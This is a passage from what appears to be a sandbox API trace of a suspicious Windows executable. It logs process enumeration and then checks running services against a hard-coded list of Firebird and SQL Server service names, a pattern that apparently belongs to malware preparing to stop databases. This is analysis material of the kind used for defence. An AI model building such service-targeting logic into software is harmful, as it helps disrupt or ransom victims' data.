hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0206.981] lstrlenW (lpString="lsm.exe") returned 7 [0206.981] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.981] lstrlenW (lpString="svchost.exe") returned 11 [0206.981] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.982] lstrlenW (lpString="svchost.exe") returned 11 [0206.982] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.983] lstrlenW (lpString="svchost.exe") returned 11 [0206.983] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.983] lstrlenW (lpString="svchost.exe") returned 11 [0206.983] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.984] lstrlenW (lpString="svchost.exe") returned 11 [0206.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.984] lstrlenW (lpString="audiodg.exe") returned 11 [0206.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.985] lstrlenW (lpString="svchost.exe") returned 11 [0206.985] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.986] lstrlenW (lpString="svchost.exe") returned 11 [0206.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.986] lstrlenW (lpString="dwm.exe") returned 7 [0206.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.987] lstrlenW (lpString="explorer.exe") returned 12 [0206.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.987] lstrlenW (lpString="spoolsv.exe") returned 11 [0206.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.988] lstrlenW (lpString="taskhost.exe") returned 12 [0206.988] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.989] lstrlenW (lpString="svchost.exe") returned 11 [0206.989] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0206.989] lstrlenW (lpString="taskeng.exe") returned 11 [0206.989] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0206.990] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0206.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0206.990] lstrlenW (lpString="nova.exe") returned 8 [0206.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0206.991] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0206.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0206.992] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0206.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0206.992] lstrlenW (lpString="picks blair.exe") returned 15 [0206.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0206.993] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0206.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0206.993] lstrlenW (lpString="principal.exe") returned 13 [0206.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0206.994] lstrlenW (lpString="transportation.exe") returned 18 [0206.994] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0206.995] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0206.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0206.995] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0206.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0206.996] lstrlenW (lpString="planned.exe") returned 11 [0206.996] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0206.996] lstrlenW (lpString="springer andrew.exe") returned 19 [0206.996] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0206.997] lstrlenW (lpString="cakes import.exe") returned 16 [0206.997] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0206.998] lstrlenW (lpString="theory.exe") returned 10 [0206.998] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0206.999] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0206.999] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0206.999] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0206.999] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0207.000] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0207.000] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0207.001] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0207.001] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0207.001] lstrlenW (lpString="indicescancellation.exe") returned 23 [0207.001] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0207.002] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0207.002] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0207.002] lstrlenW (lpString="desk.exe") returned 8 [0207.002] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.003] lstrlenW (lpString="svchost.exe") returned 11 [0207.003] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0207.004] lstrlenW (lpString="sppsvc.exe") returned 10 [0207.004] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.004] lstrlenW (lpString="svchost.exe") returned 11 [0207.004] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.005] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0207.005] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.005] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0207.006] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0207.006] lstrlenW (lpString="winhost.exe") returned 11 [0207.006] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.007] lstrlenW (lpString="cmd.exe") returned 7 [0207.007] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.007] lstrlenW (lpString="conhost.exe") returned 11 [0207.008] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0207.008] CloseHandle (hObject=0x1b8) returned 1 [0207.008] Sleep (dwMilliseconds=0x1f4) [0208.073] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ff50 [0208.074] EnumServicesStatusExW (in: hSCManager=0x63ff50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0208.074] GetLastError () returned 0xea [0208.074] EnumServicesStatusExW (in: hSCManager=0x63ff50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a016f8, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a016f8, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0208.074] CloseServiceHandle (hSCObject=0x63ff50) returned 1 [0208.074] lstrlenW (lpString="Appinfo") returned 7 [0208.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0208.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0208.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0208.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0208.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0208.074] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.074] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.074] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.074] lstrlenW (lpString="AudioSrv") returned 8 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0208.075] lstrlenW (lpString="BFE") returned 3 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.075] lstrlenW (lpString="CryptSvc") returned 8 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0208.075] lstrlenW (lpString="CscService") returned 10 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0208.075] lstrlenW (lpString="DcomLaunch") returned 10 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.075] lstrlenW (lpString="Dhcp") returned 4 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.075] lstrlenW (lpString="Dnscache") returned 8 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0208.075] lstrlenW (lpString="DPS") returned 3 [0208.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0208.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0208.075] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0208.075] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0208.076] lstrlenW (lpString="eventlog") returned 8 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0208.076] lstrlenW (lpString="EventSystem") returned 11 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.076] lstrlenW (lpString="FontCache") returned 9 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0208.076] lstrlenW (lpString="gpsvc") returned 5 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.076] lstrlenW (lpString="iphlpsvc") returned 8 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0208.076] lstrlenW (lpString="LanmanServer") returned 12 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0208.076] lstrlenW (lpString="LanmanWorkstation") returned 17 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.076] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0208.076] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0208.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0208.076] lstrlenW (lpString="lmhosts") returned 7 [0208.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.077] lstrlenW (lpString="MMCSS") returned 5 [0208.077] lstrcmpiW 